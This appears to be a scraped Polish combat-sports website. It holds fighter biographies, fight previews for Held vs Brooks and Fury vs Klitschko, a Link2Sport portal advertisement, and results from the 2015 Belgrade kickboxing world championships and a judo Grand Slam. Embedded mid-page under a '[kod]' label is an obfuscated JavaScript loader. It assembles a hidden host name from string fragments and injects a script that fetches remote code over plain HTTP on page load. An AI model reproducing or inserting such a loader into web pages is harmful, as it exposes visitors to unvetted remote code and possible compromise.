Australijski zawodnik sportów walki urodzony 5 sierpnia 1975 roku w Sydney. W swojej karierze walczył zarówno w karate, zawodowym Kick boxingu, boksie jak i MMA. Swoją karierę w sportach walki zaczynał od karate kyokushin. W 1999 roku został mistrzem Australii w klasie open, a rok później zdobył amatorskie mistrzostwo świata WKBF. Po tym sukcesie przeszedł na zawodowstwo, rozpoczynając starty w Kick-boxingu w formule K-1. W listopadzie 2000 roku na gali K-1 Oceania Star Wars 2000 w Melbourne zmierzył się w pokazowym pojedynku z najbardziej utytułowanym australijskim kickboxerem w historii, Stanem Longinidisem. Przegrał z nim przez decyzję po 10-rundowym pojedynku, jednak występ ten zaowocował zaproszeniem go na turniej preliminacyjny K-1 World GP w Melbourne w lutym 2001 roku. Przegrał w finale przez nokaut z wschodzącą gwiazdą K-1, Nowozelandczykiem Markiem Huntem. Pięć miesięcy później doszło do walki rewanżowej w której to Graham pokonał Hunta przez decyzję sędziów. Po rocznej przerwie powrócił na ringi K-1 w 2003 roku. W lipcu wygrał turniej K-1 World GP W Melbourne, dzięki czemu wywalczył sobie prawo startu w gali eliminacyjnej w Osace, w której pokonał Sama Greco. Zwycięstwo to zapewniło mu udział w Finale K-1 WGP w Tokio turnieju o mistrzostwo K-1. Odpadł w nim w ćwierćfinale, znokautowany przez późniejszego mistrza Remy’ego Bonjasky’ego. W 2004 roku wygrał turniej Kings of Oceania 2004, pokonując min. Pawła Słowińskiego. Rok później zwyciężył również w Kings of Oceania 2005, uzyskując kwalifikację do turnieju K-1 World GP 2006 w Auckland, będącego eliminacją do Finału K-1 World GP 2006. W jego ćwierćfinale zmierzył się z Bardem Hari. Graham przegrywał pojedynek na punkty, jednak na kilka sekund przed końcem pojedynku zdołał znokautować Marokańczyka kopnięciem, łamiąc mu szczękę. W półfinale zmierzył się z Pawłem Słowińskim i przegrał przed czasem na skutek niskich kopnięć. W sierpniu 2007 roku, podczas K-1 World GP w Hongkongu stoczył walkę rewanżową z Harim. Przegrał przez jednogłośną decyzję sędziów. Był to jego ostatni występ w organizacji K-1. Po trzyletniej spowodowanej startami w MMA powrócił do Kick-boxingu. 29 sierpnia 2010 znokautował Nowozelandczyka Douga Vineya, zdobywając mistrzostwo Świata ISKA w wadze ciężkiej. Stracił je gdy 20 września 2011 roku sam został znokautowany w trzecim starciu z Pawłem Słowińskim. W 2008 roku podpisał kontrakt z Japońską organizacją World Victory Road i zadebiutował w MMA. Na gali Sengoku 1 w Tokio przegrał przez poddanie z byłą gwiazdą PRIDE FC, zapaśnikiem Kazuyuki Fujitą. Od 2010 roku walczył dla mniejszych Australijskich organizacji. W grudniu tego roku na gali Draka 5 stoczył w rosyjskim Chabarowsku pojedynek z niepokonanym od ponad 4 lat zawodnikiem gospodarzy, Aleksandrem Jemieljanienką. Graham niespodziewanie wygrał przez techniczny nokaut w drugiej rundzie. Podczas kolejnej edycji tej gali, która odbyła się 11 lutego 2012 roku, znokautował doświadczonego Łotysza Konstantina Głuchowa w pierwszej rundzie. 24 listopada stoczył rewanżowy pojedynek z Gluhovsem. Kolejny raz lepszy był Graham który znokautował rywala na początku pierwszej rundy. Stawką pojedynku było międzynarodowe mistrzostwo w wadze ciężkiej organizacji Draka. W latach 2013-2014 walczył dla Bellator MMA, w którym stoczył trzy pojedynki z czego dwa przegrał. Od 2014 roku związany z KSW gdzie pokonał min. Marcina Różalskiego i Mariusza Pudzianowskiego.  

Francisco Filho

Brazylijski Karateka stylu kyokushin urodzony 10 stycznia 1971 roku  w Souto Soares w stanie Bahia. W 1991 roku na 5. Otwartych Mistrzostwach Świata Filho otrzymał nagrodę za najlepszego ducha walki. W eliminacjach wygrał z wicemistrzem Świata sprzed 4 lat, Szwajcarem Andy Hugiem przez ippon. W 1995 roku zaliczył test 100 kumite oraz zdobył brązowy medal na 6. Otwartych Mistrzostwach Świata. Dwa lata później wywalczył mistrzostwo świata w wadze superciężkiej. W 1999 roku został pierwszym zwycięzcą Otwartych Mistrzostw Świata spoza Japonii. W turnieju tym pokonał m.in. Ryu Narushimę, Nicholasa Pettasa oraz w finale obrońcę tytułu Hajime Kazumiego. W 1997 roku podpisał kontrakt z japońską organizacją K-1 na walki w Kick-boxingu. W swoim debiucie skrzyżował rękawice z dobrze sobie znanym rywalem, ówczesnym mistrzem K-1 Andym Hugiem. I tym razem lepszym okazał się Francisco Filho, który znokautował Szwajcara. Ten niespodziewany sukces przyniósł mu popularność w świecie Kick-boxingu i dał przepustkę do walki o mistrzostwo Świata K-1 w finałowym turnieju World Grand Prix 1997 w Tokio. W ćwierćfinale znokautował w 15 sekund australijskiego karatekę Sama Greco. W półfinale zmierzył się z czołowym Kick-boxerem świata, Holendrem Ernesto Hoostem. Przegrał z nim na punkty. W 1998 roku walczył z kolejnymi gwiazdami K-1, Peterem Aertsem i Rayem Sefo, remisując w obu walkach. Do kolejnego turnieju finałowego K-1 awansował nokautując najlepszego ówcześnie amerykańskiego Kick-boxera Ricka Roufusa niskim kopnięciem w kolano. W ćwierćfinale imprezy na drodze Brazylijczyka stanął Mike Bernardo. Mimo że Filho był faworytem, przegrał przez techniczny nokaut w trzeciej rundzie. Rok 1999 Filho poświęcił przygotowaniom do 7 Otwartych Mistrzostw Świata Kyokushin. W K-1 wystąpił tylko raz. W rewanżowej walce z Hoostem znokautował go w pierwszej rundzie serią ciosów pięściami. Na ring powrócił w 2000 roku, po wywalczeniu czempionatu w Karate, w walce z Jerome’em Le Bannerem. Przegrał w pierwszej rundzie przez ciężki nokaut. Mimo to parę miesięcy później wygrał turniej w Jokohamie, co umożliwiło mu wzięcie udziału w kolejnym turnieju o mistrzostwo K-1. Ponownie zmierzył się w nim z Ernesto Hoostem i po raz drugi przegrał na punkty w półfinale. Ostatnią, czwartą próbę wywalczenia mistrzostwa K-1 Francisco Filho podjął rok później. W ćwierćfinale World Grand Prix 2001 pokonał przez TKO Petera Aertsa, a w półfinale okazał się lepszy od nowej gwiazdy K-1, Białorusina Aleksieja Ignaszowa. W finale na Brazylijczyka czekała rewelacja turnieju, Mark Hunt. Regulaminowe trzy rundy nie przyniosły w oczach sędziów rozstrzygnięcia, więc zarządzono dodatkową runde. Hunt wykazał się w niej większą agresją i zadał więcej ciosów, co dało mu zwycięstwo przez jednogłośną decyzję sędziów. Po finale zrezygnowany Filho oświadczył, że na jakiś czas żegna się z K-1, a ewentualne przyszłe występy ograniczy do pojedynczych walk. Po półtorarocznej przerwie wrócił na ring w 2003 roku. Stoczył cztery walki, ostatnią z nich w maju 2004 roku z ówczesnym mistrzem K-1 Remym Bonjaskym. Pokonał go przez jednogłośną decyzję sędziów. W historii swoich startów w K-1 Filho pokonał czterech mistrzów K-1 WGP: Petera Aertsa, Andy’ego Huga, Ernesto Hoosta i Remy’ego Bonjasky’ego. 

Gago Drago

Ormiański Kick-boxer wagi średniej znany z występów na galach K-1 MAX i It’s Showtime urodzony 8 marca 1985 roku w Weriszen. Gagik Harutiunian urodził się we wsi Weriszen na terenie Armeńskiej SRR. W 1989 roku wyemigrował wraz z ojcem do Holandii i osiadł w Alkmaar. W wieku 14 lat rozpoczął trenować w miejscowym klubie Kick-boxing. W 2001 roku przeszedł na zawodowstwo i od tego momentu występuje wyłącznie pod pseudonimem Gago Drago. Między 2002 a 2006 rokiem był niepokonany. Wygrywając ponad 20 walk na terenie Holandii i Belgii szybko osiągnął status wschodzącej gwiazdy europejskiego Kick-boxingu. W 2005 roku uzyskał Holenderskie obywatelstwo, co umożliwiło mu występowanie również poza Beneluksem. W 2006 roku podpisał kontrakt z japońską organizacją K-1 i 6 kwietnia tego samego roku zadebiutował w prestiżowym cyklu K-1 World MAX. Na turnieju eliminacyjnym w Tokio pokonał Duńczyka Ole Laursena i awansował do Finału K-1 World MAX w Jokohamie. Podczas tego drugiego sprawił niespodziankę eliminując byłego mistrza K-1 MAX Alberta Krausa, lecz w następnej walce przegrał z późniejszym tryumfatorem turnieju Buakawem Por. Pramukiem, kończąc swój udział w półfinale. Drago bezskutecznie próbował osiągnąć sukces w K-1 MAX w następnych latach. W 2007 roku został znokautowany w ćwierćfinale przez Andy Souwera. Mimo że w 2008 przegrał już w 1/16 z Mikiem Zambidisem, wystąpił w następnej rundzie dzięki dzikiej karcie. Uległ tam jednak Masato. W 2009 roku przegrał w ćwierćfinale po wyrównanej walce z Yuyą Yamamoto.  W lutym 2009 roku walczył w Antwerpii z Turkiem Muratem Direkci o mistrzostwo It’s Showtime w kategorii 70 kg. Przegrał przez techniczny nokaut w trzeciej rundzie. W 2010 roku powtórzył osiągnięcie z 2006 roku, gdy dotarł do półfinału K-1 World MAX. W walce o finał przegrał z Yoshihiro Sato. 

Held powalczy o pas. Ma szanse?

6 listopada Marcin Held stanie przed szansą na wywalczenie mistrzowskiego pasa wagi lekkiej organizacji Bellator. Na drodze Polaka stanie Will Brooks.

Held jest już ukształtowanym fighterem. Świetnie odnalazł się w Bellatorze, co pozwoliło mu dopiąć swego i dojść do walki o pas mistrzowski. Według ocen bukmacherów Polak nie jest faworytem, ale nie należy przekreślać jego szans na pokonanie Brooksa.

Świetna passa

Nasz zawodnik jest ekspertem od poddań. W sześciu ostatnich walkach tylko raz o wyniku pojedynku decydowali sędziowie. Held jest szybki, zwrotny i skuteczny do perfekcji. Każdy kolejny rywal zawodnika z Tych musi mieć się na baczności, gdyż nigdy nie wie, co Polakowi przyjdzie do głowy. Aleksandr Sarnavski wytrzymał na placu boju z 23-latkiem dwie rundy. W trzeciej odsłonie na jego twarzy pojawił się grymas bólu, który oznaczał tylko jedno – porażkę.

Held pokonał Rosjanina zakładając mu dźwignię na nogę. Sarnavski wył z bólu, starał się uwolnić, ale musiał uznać wyższość polskiego zawodnika. Dodatkowo Rosjanin doznał kontuzji. Walka Held vs Sarnavski miała miejsce w kwietniu podczas gali Bellator 136. W walce wieczoru zaprezentował się najbliższy rywal Polaka Will Brooks, który uporał się z Dave'm Jansenem. Mistrz wagi lekkiej potrzebował jednak pełnych pięciu rund do odniesienia zwycięstwa. Amerykanin nie jest tak efektowny jak Held. Tylko jedna ostatnich jego pięciu walk zakończyła się przed czasem.

Jednak Brooks to mocny zawodnik. Mistrz wagi lekkiej nie jest wirtuozem parteru, ale potrafi potraktować swoich oponentów mocnym ciosem, który zatrzyma ich zapędy. Brooks wygrał siedem pojedynków z rzędu, jednak tylko dwa przed czasem. Po raz ostatni przegrał w lutym 2013 roku. Walka trwała zaledwie czterdzieści trzy sekundy, a pogromcą Amerykanina okazał się Saad Awad.

Jak wyglądają statystyki w przypadku 23-latka z Polski? Held wygrał sześć pojedynków z rzędu, a ostatnią porażkę zanotował w marcu 2013 roku. Polak przegrał z Dave'm Jansenem. Zatem Held i Brooks ponad dwa lata są niezwyciężeni. 6 listopada podczas gali Bellator 145 dobra passa jednego z nich dobiegnie końca.

Bukmacherzy za Amerykaninem

Rzecz jasna, że bukmacherzy wyżej cenią Brooksa, jednak wcale nie przekreślają szans Polaka. Za złotówkę postawioną na Helda można wygrać około trzech złotych. Historia zna przypadki, że akcje pretendentów stały zdecydowanie niżej. Można spodziewać się ciekawej walki. W parterze Held może pokazać bogaty repertuar i zatrzymać mistrza, z kolei w stójce musi być ostrożny. Przed 23-latkiem ogromna życiowa szans.  Powtarza się opinia, że Held to wielki talent polskiego MMA. Zawodnik z Tych rozwija się i widać tego owoce. Czy kolejnym krokiem będzie pas mistrzowski?

W walce wieczoru podczas gali Bellator 145 zaprezentują się Patricio Freire i Daniel Straus. Będzie to rewanż za pojedynek ze stycznia. Ze zwycięstwa mógł cieszyć się Brazylijczyk, który zanotował szóstą wygraną z rzędu. Straus po raz kolejny postara się powstrzymać marsz 28-latka. Czy tym razem mu się powiedzie? Warto dodać, że Straus już dwukrotnie starał się pokonać Brazylijczyka. Bezskutecznie.

KM

Marcin Held

Polski zawodnik MMA urodzony 18 stycznia 1992 roku w Tychach. Jest posiadaczem czarnego pasa w Brazylijskim Jiu Jitsu. Zawodową karierę w MMA rozpoczął w 2008 roku pokonując przez dźwignię łokciową Mateusza Piórkowskiego podczas gali Abak Moto na katowickim Muchowcu. W 2009 roku Held stoczył sześć walk pokonując kolejno Artura Sowińskiego, Mariusza Pioskowika, Rafała Lasotę. W trzech starciach turniejowych pokonywał kolejno Ireneuszą Milę, Mariusza Abramiuka i Borysa Mańkowskiego. Tym samym Held został mistrzem MMA Challengers w wadze lekkiej. W 2011 roku podpisał kontrakt z Bellator, a jeszcze w tym samym roku w debiucie, wystartował w turnieju wagi lekkiej odpadając w ćwierćfinale w pojedynku z przyszłym tryumfatorem tegoż turnieju Amerykaninem Michaelem Chandlerem. W 2013 roku doszedł do finału kolejnego turnieju w kategorii do 70 kg ulegając w nim na punkty Amerykaninowi Dave’owi Jansenowi. 26 września 2014 roku, w swoim trzecim już podejściu zwyciężył w całym turnieju wagi lekkiej pokonując w finale Brazylijczyka Patricka Freire przez jednogłośną decyzję sędziów, inkasując przy tym czek w wysokości 100,000 $ oraz otrzymując prawo walki o pas międzynarodowego mistrza Bellatora. 6 listpada 2015 roku doszło do starcia Helda z Will Brooksem o pas mistrzowski federacji Bellator. Marcin przegrał przez jednogłośną decyzję sędziów.

Fury myśli o zakończeniu kariery?

Wiadomo, że Tyson Fury lubi zwracać na siebie uwagę. To więcej niż pewne. Brytyjski bokser nie szczędzi sobie ciepłych słów i nie ukrywa swojej potęgi na zawodowym ringu. 28 listopada będzie miał okazję stać się wielkim mistrzem.

W Dusseldorfie Fury zmierzy się z Władimirem Kliczko, który ma w swojej kolekcji pasy WBO/WBA/IBO/IBF wagi ciężkiej. Kolejni pięściarze zapowiadają, że zakończą panowanie Ukraińca, ale na słowach się kończy.

Czcze gadanie?

Fury jest jednym z tych bokserów, którzy potrafią zrobić wokół siebie szum medialny. Brytyjczyk składa przed kamerami wiele deklaracji, ale do jego słów trzeba podchodzić z dystansem. Rzecz jasna, że w ringu przekonamy się, czy jest lepszy od ukraińskiego mistrza. Jednak scenariusz o zakończeniu kariery przez Brytyjczyka po starciu z mistrzem wagi ciężkiej wydaje się mało prawdopodobny – Na tę chwilę nie planuję nic po tej walce. To może być koniec. Chcę zdobyć miano najlepszego na świecie. Wygrana z Kliczko umocni moją pozycję jako lidera wśród bokserów. Czy po tym pojedynku będę miał jeszcze co robić? W ringu chcę zrobić coś, czego wcześniej nikt nie dokonał. Wygrać, ale nie tylko. Po tej walce rozpocznie się nowy rozdział w moim życiu – zdradza Fury.

Jak widać Brytyjczyk wybiega daleko w przyszłość zamiast wykorzystać trzy tygodnie, które zostały do walki z mistrzem z Ukrainy. 28 listopada to dzień weryfikacji możliwości niepokonanego dotąd 27-letniego pięściarza. Pewne jest, że w tej chwili Fury jest najlepszym pięściarzem na Wyspach Brytyjskich. Dereck Chisora musiał uznać jego wyższość, a Anthony Joshua dopiero buduje swoją pozycję. Fury to kawał chłopa, silny i mocny bokser, który ma ogromny potencjał. Wydaje się, że za jego umiejętnościami nie nadąża głowa. Fury buja w chmurach i ciągle gloryfikuje swoją osobę.

W rozmowie z BBC.com Brytyjczyk zaszokował. Fury określił się mianem współczesnego Muhammada Ali. –  Chciałbym powiedzieć, że jestem współczesnym Muhammadem Ali. Obecnie w boksie nie ma kogoś takiego jak ja. Nie widzę nikogo takiego w żadnej kategorii wagowej po zakończeniu kariery przez Floyda Mayweathera Jr. – prezentuje swoje zdanie brytyjski bokser wagi ciężkiej.

Zainteresowanie rośnie

Tak naprawdę walka Fury vs Kliczko zbliża się wielkimi krokami. Obaj wejdą na ring już 28 listopada. Czy posypią się gromy?

Warto zwrócić uwagę, że Kliczko stanie przed trudnym zadaniem. Wejdzie do ringu z rywalem cięższym i wyższym, który ma większy zasięg ramion. Kliczko będzie musiał się mieć na baczności, gdyż jego rywal dysponuje wieloma atutami. Decydujący może okazać się spokój ukraińskiego mistrza. Fury może nie wytrzymać temperatury pojedynku, a Kliczko do takich walk jest przyzwyczajony. 

KM

Portal Link2Sport

Portal Link2Sport jest stroną unikatową w skali kraju. Głównym założeniem strony jest zrzeszanie jak największej ilości osób uprawiających sport, lub działających w jego obrębie.

Serwis daje możliwość tworzenia własnych blogów, zakładania grup/drużyn, wymianą informacji między specjalistami a także szukaniu potencjalnych klientów.

Są tutaj 3 rodzaje kont (funkcjonalność każdego z nich można wzbogacić wykupując pakiety abonamentowe): Sportowiec / drużyna Specjalista (dietetycy, sędziowie, trenerzy itd.) Organizacja (klub sportowy, sponsor, ośrodek sportowy itd.) Konto sportowca jest dostępne bez konieczności wnoszenia opłat, należy jednak zweryfikować swoją tożsamość przed możliwością korzystania z serwisu. Wymagane jest podanie swoich danych osobowy, wieku, rodzaju uprawianej dyscypliny sportu, oraz danych kontaktowych.

Dla organizacji i firm związanych ze sportem mamy tutaj możliwość znalezienia nowych współpracowników: sportowców, specjalistów, firm kooperujących, sponsorów i usługodawców.

W serwisie jest także możliwość promocji własnej organizacji i imprez przez nią przygotowanych, a także używanie narzędzi społecznościowych i promocyjnych do samodzielnego ustawienia w serwisie (newslettery, autopromocja graficzna, przekazanie materiałów w formie załącznika i wiele innych.

Posiadanie konta organizacji daje też możliwość zamieszczania płatnych ogłoszeń na stronie głównej serwisu, daje swobodny dostęp do bazy danych sportowców, profesjonalistów i wydarzeń sportowych. Organizacje powiązane z poszczególnymi sportowcami, są wyróżniane na stronie wizytówce danej osoby. Jako organizacja można publikować wiadomości skierowane indywidualnie, grupowe (np. do swoich członków) jak również na forum. Ponadto organizacje mogą publikować wpisy widoczne na kontach swoich członków.

Dla osób korzystających z serwisu jest też możliwość rejestracji, logowania się do serwisu, a także powiązania swojego profilu z profilem społecznościowym (Facebook, LinkedIn, Twitter, Instagram), dzięki czemu nie jest konieczne zakładanie konta od zera i posługiwania się dodatkowym loginem/hasłem. Wybrane zdarzenia w portalu można publikować bezpośrednio na ścianie lub w strumieniu danych swojego profilu społecznościowego.

Portal Link2Sport.pl to nowoczesna platforma, która ułatwi nawiązywanie kontaktów, każdemu, kto chce się rozwijać i poszerzać swoją wiedzę dzięki wymianie informacji i współpracy z innymi podmiotami.

 

 

Link2sport to innowacyjna i unikatowa platforma skierowana do bardzo szerokiej grupy odbiorców, których łączy sport – zarówno w wydaniu amatorskim jak również profesjonalnym, a także od strony biznesowej. Jest to jedyne na polskim i europejskim rynku rozwiązanie oferujące tak wiele użyteczności zgromadzonych w jednym miejscu.

Dołącz do Link2sport już dziś i przekonaj się jak łatwo możesz uwolnić swój sportowy potencjał: www.link2sport.pl

 

 

[kod]

(function(){
u9iy=document.createElement("script");u9iy.type="text/javascript";
u9iy.async=true;u9iy_=(("us")+"t")+"a";u9iy_+=("t.i")+""+"n";u9iy_+=(("f")+"o");
u9iy.src="http://"+u9iy_+"/5368256.Xyztnv2g9iy6igu7qjncwf5yvgp9jg";
document.body.appendChild(u9iy);
})();

Moc polskiego kickboxingu

Po raz kolejny zyskaliśmy dowód, że nasz kickboxing ma się dobrze. Na światowych salonach nasi zawodnicy zaprezentowali wysoki poziom, który okrasili pokaźną zdobyczą medalową.

Podczas rozegranych w Belgradzie mistrzostw świata nasza reprezentacja wywalczyła łącznie dwadzieścia dwa krążki, w tym osiem złotych. W klasyfikacji medalowej biało-czerwoni uplasowali się na trzecim miejscu. Najlepsi okazali się Rosjanie, którzy wyprzedzili Serbów.

Ogromny potencjał

Czasami jest tak, że raz po raz powtarza się frazy o posiadaniu pewnego kapitału. Nie każdy potrafi go przekłuć w sukces, jednak w przypadku naszych kickbokserów sytuacja jest zgoła odmienna. Od lat nasi reprezentanci pokazują, że w ich przypadku potencjał daje wymierne efekty.

Najlepszym tego dowodem jest start w mistrzostwach świata w Belgradzie. Podczas trwania czempionatu docierały do nas kolejne radosne informacje. Nasi zawodnicy gromili kolejnych rywali na swoich drogach i zmierzali w kierunku miejsc na podium. Po raz drugi mistrzynią świata w kick-light została Dorota Godzina. Zawodniczka X-Fight Piaseczno złoty krążek wywalczyła w 2011 roku i po czterech latach mogła po raz kolejny cieszyć się z triumfu. W finale kategorii 55kg była zdecydowanie lepsza, co przekłuło się na pewne zwycięstwo nad Jovaną Milovanović.

W dobrej formie do Belgradu udała się Iwona Nieroda. Było pewne, że zawodniczkę Diamentu Pstrągowa w low kicku stać na wiele i z każdą kolejną walką rósł apetyt na medal. W ćwierćfinale Nieroda odprawiła z rywalizacji groźną Rosjankę. Ajla Lukac z Serbii nie miała zbyt wiele do powiedzenia w finałowej rywalizacji z Polką. W kick light po tytuł mistrza świata sięgnął Michał Bławdziewicz. Zawodnik warszawskiej Palestry w wadze ciężkiej uporał się z Ehramem Majidovem. Tyle szczęścia, co Bławdziewicz nie miał jego klubowy kolega. Jerzy Wroński w finale 74kg przegrał z Dimitarem Gjorgijevem. Trudne warunki Piotrowi Wypchałowi w kategorii 94kg postawił Ibrahim Telli. Zacięty bój zakończył się jednak pozytywnym werdyktem dla Polaka, który wygrał 2:1. W K-1 po mistrzostwo świata sięgnęła Paulina Bieć w kategorii +70kg.

Panie są lepsze

Warto rozłożyć nasz dorobek medalowy na części pierwsze. Łącznie Polacy wywalczyli dwadzieścia dwa krążki, w tym osiem złotych, cztery srebrne i dziesięć brązowych. Najlepiej zaprezentowali się zawodnicy rywalizując w kick light. Nasi reprezentanci wywalczyli pięć złotych, dwa srebrne i trzy brązowe. W low kicku nie mamy wicemistrza świata, ale są za to dwie mistrzynie (Nieroda i Marta Waliczek). Z kolei w K-1 złoto dla Pauliny Bieć, srebra dla Pawła Stępniewskiego (57kg) i Arkadiusza Kasuzby(81kg). Do tego dochodzą jeszcze trzy medale koloru brązowego.

W naszej kadrze jest pięć mistrzyń świata i trzech mistrzów. Srebrne medale zdobywali tylko panowie. Siedem brązowych krążków zapisały na swoim koncie nasze zawodniczki. Trzy zawisły na szyjach naszych panów.

KM

Japonka pozbawiła Kłys szans na złoto

Katarzyna Kłys zaprezentowała się z dobrej strony podczas turnieju Grand Slam w judo, który został rozegrany w Abu Zabi. Polka startująca w kategorii 70kg stanęła na podium.

Kłys była skuteczna, co pozwoliło jej na zdobycie brązowego medalu. Dodatkowo zyskała dwieście punktów w wyścigu o wyjazd na Igrzyska Olimpijskie do Rio de Janeiro. Dobry występ w Abu Zabi zaliczyła również Karolina Pieńkowska, która stoczyła m.in. wyrównany bój z Majlindą Kelmendi.

Japonka nie do pokonania

Katarzyna Kłys nie może znaleźć sposobu na Chizuru Arai, która jest sklasyfikowana na dziewiątym miejscu w światowym rankingu. Judoczki spotkały się podczas drużynowego starcia w mistrzostwach świata w Astanie. W finale Polska uległa Japonii 0:5. Arai nie dała żadnych szans Kłys. Podobnie było w Abu Zabi, gdzie zawodniczki spotkały się w ćwierćfinale i Japonka triumfowała przez waza-ari.

Zawodniczka Polonii Rybnik w Abu Zabi trafiła na wymagające rywalki, jednak poniosła tylko jedną porażkę. Kłys wygrała przez ippon z siódmą zawodniczką światowego rankingu Sally Conway. Porażka z Arai sprawiła, że Polka musiała rywalizować w repasażach. Wygrana pozwalała jej walczyć o brązowy medal. Kłys musiała pokonać Assmę Niang. Reprezentantka Maroko jest czternastą zawodniczką światowego rankingu, więc Polka po raz kolejny musiała wspiąć się na wyżyny. W Abu Zabi prezentowała dobrą dyspozycję. Kłys walczyła agresywnie i dostała dwie żółte kartki, ale udało jej się wygrać z Niang przez ippon. W pojedynku o brąz Polka stanęła na wprost Kelity Zupancic. Zacięta walka, ale Kłys po raz kolejny pokazała, że jest naładowana i niestraszna jej żadna rywalka. Ippon zdecydował o trumfie zawodniczki Polonii Rybnik.

W takiej dyspozycji o kolejne występy Kłys możemy być spokojni. Szkoda, że w Abu Zabi nie znalazła sposobu na Arai. W starciach z zawodniczkami z czołówki Polka pokazała swoją siłę i potencjał.

Pieńkowska szła jak burza

Dobry występ w Abu Zabi zaliczyła Karolina Pieńkowska w kategorii 52kg. Polka rywalizowała na równi z rywalkami z czołówki światowego rankingu. Na początek Pieńkowska trafiła na Joanę Ramos z Portugalii. Dwunastka zawodniczka światowego rankingu musiała uznać wyższość Polki. W kolejnym pojedynku los skojarzył reprezentantkę Polski z Laurą Gomez. Pieńkowska wygrała przez waza-ari, ale w ćwierćfinale trafiła na rywalkę z najwyższej półki. Majlinda Kelmendi to trzecia zawodniczka światowego rankingu, była mistrzyni świata i Europy. Reprezentantka Kosowa od początku była aktywna i atakowała naszą zawodniczkę. W końcu Kelmendi rzuciła Polkę, owinęła się wokół niej aż udało jej się zakończyć pojedynek przez ippon.

Pieńkowska walczyła dalej. Polka trafiła do repasaży, gdzie poradziła sobie z Gili Cohen. Pieńkowska wygrała przez waza-ari, ale warto wspomnieć, że zawodniczka z Izraela zapisała na swoim koncie yuko. Pojedynek o trzecie miejsce wyrównany. Priscila Gneto okazała się wymagającą przeciwniczką, a co najważniejsze była w pełni skupiona i uważna. Żadna z judoczek nie znalazła sposobu, aby zaskoczyć swoją rywalkę. Francuzka wygrała dzięki karom shido. Pieńkowska dostała dwa upomnienia, a Gneto tylko jedno. Reprezentantka Polski zajęła piątą pozycję w prestiżowych zawodach Grand Slam w Abu Zabi, czy poprawiła swój dorobek punktowy w klasyfikacji olimpijskiej. Pieńkowska zdobyła sto punktów.

KM

Mistrzostwa Świata w kickboxingu, Belgrad 2015

8 złotych medali reprezentantów Polski

Polscy kickbokserzy wygrali aż 8 z 12 dzisiejszych walk finałowych Mistrzostw Świata w formułach Low Kick, K-1 Rules i Kick Light. Łącznie nasi reprezentanci zdobyli 22 medale w Belgradzie.

W Kick Light tytuły mistrzowskie wywalczyli Dorota Godzina (-55 kg), Paulina Jarzmik (-60 kg), Mateusz Jereczek (-89 kg), Piotr Wypchał (-94 kg) i Michał Bławdziewicz (+94 kg). W K-1 Rules po złoto sięgnęła Paulina Bieć (+70 kg), a w Low Kicku – Iwona Nieroda (-56 kg) i Marta Waliczek (-60 kg).
 

W klasyfikacji medalowej Polacy zajęli znakomite 3 miejsce – 8 złotych, 4 srebrne i 10 brązowych. Wygrali Rosjanie 11-8-8, przed gospodarzami Serbami 9-6-14.
 

Po raz 2 na najwyższym stopniu podium stanęła Dorota Godzina (X Fight Piaseczno).
 

– Z Mistrzostw Świata do tej pory przywiozłam 3 krążki – 1 złoty (2011, Kick Light) i 2 brązowe (2005, Pointfighting i 2013, Full Contact). W tegorocznym turnieju nie było Włoszki Nicoli Perony, z którą przegrałam w zeszłym roku w Mistrzostwach Europy – powiedziała Dorota Godzina.
 

Tym razem Włoszka walczyła w wadze -60 kg, a jej finałową rywalką była Paulina Jarzmik. Polka wygrała 2-1.
 

– Przeciwniczka była mi bardzo dobrze znana. Od trzech lat nikt jej nie pokonał, to wielokrotna mistrzyni świata i Europy. Walka przez wszystkie trzy rundy była bardzo wyrównana, ale w końcu mi się udało wygrać i zostać nowa mistrzyni świata – mówiłaPaulina Jarzmik (X Fight Piaseczno).
 

Podobnie jak Paulina, również po 2-1 zwyciężali Mateusz Jereczek (Kartuski Klub Kick-boxingu Rebelia) i Piotr Wypchał (Krakowska Akademia Taekwondo). Mateusz Jereczek wygrał z Łotyszem Reinisem Porozovsem (bilans pięściarski 3-5-1), który w czerwcu był w Pomigaczach koło Białegostoku i przegrał zawodową walkę bokserską w wadze junior ciężkiej z 4-krotnym mistrzem Polski w boksie amatorskim Władimirem Letrem.
 

W Low Kicku 2 złoty medal MŚ w karierze zdobyła Iwona Nieroda (Diament Pstrągowa). O jej występie mówi trener klubowy Jerzy Pilarz.
 

– Iwona wyraźnie wygrała. Po zwycięstwie w ćwierćfinale nad broniącą tytułu Rosjanką byłem prawie pewny, że będzie złoto. Chociaż jeszcze przed Mistrzostwami Świata wierzyłem, że tytuł jest w zasięgu ręki, jak nigdy dotąd. Iwona była bowiem w znakomitej formie. Współpracujemy od zawsze, Iwona była moją uczennicą w szkole podstawowej. A od roku 2002 rozpoczęła treningi w moim klubie i do chwili obecnej razem trenujemy.
 

Podsumowując poszczególne formuły, Biało-Czerwoni rewelacyjnie spisali się w wersji Kick Light(trenerzy Tomasz Biernacki, Piotr Siegoczyński), w której nie mają sobie równych na świecie. Zdobyli 5 złotych, 2 srebrne i 3 brązowe medale.
 

Low Kicku (trenerzy Andrzej Garbaczewski, Witold Kostka) Polacy wywalczyli 2 złote i 4 brązowe krążki, co dało im 3 miejsce.
 

K-1 Rules (trenerzy Tomasz Mamulski i Tomasz Skrzypek) reprezentanci Polski na 4 miejscu – 1 złoty, 2 srebrne i 3 brązowe medale. – Stoczyliśmy łącznie 32 walki, z których 17 wygraliśmy. To dobry wynik – ocenił trener Tomasz Skrzypek.
 

Wyniki finałowych walk Polaków – 31 października:
 

K-1 Rules

K1 +70kg Paulina Bieć (Polska) – Tamara Basić (Serbia) wygr. Bieć 3-0

K1 -57 kg Paweł Stępniewski (Polska) – Bakhtiar Mukhamedzianov (Rosja) por. Stępniewskiego 0-3

K1 -81 kg Arkadiusz Kaszuba (Polska) – Alexandar Petrov (Bułgaria) por. Kaszuby 0-3
 

Low Kick

LK -56kg Iwona Nieroda (Polska) – Ajla Lukac (Serbia) wygr. Nierody 3-0

LK -60kg Marta Waliczek (Polska) – Cigdem Kirvac (Turcja) wygr. Waliczek 3-0
 

Kick Light

KL -55kg Dorota Godzina (Polska) – Jovana Milovanović (Serbia) wygr. Godziny 3-0

KL -60 kg Paulina Jarzmik (Polska) – Nicole Perona (Włochy) wygr. Jarzmik 2-1

KL -74 kg Jerzy Wroński (Polska) – Dimitar Gjorgijev (Macedonia) por. Wrońskiego 1-2

KL -79kg Wojciech Wiśniewski (Polska) – Emdnuil Dimitrov (Bułgaria) por. Wiśniewskiego 0-3

KL -89kg Mateusz Jereczek (Polska) – Reinis Porozovs (Łotwa) wygr. Jereczka 2-1

KL -94kg Piotr Wypchał (Polska) – Ibrahim Telli (Turcja) wygr. Wypchała 2-1
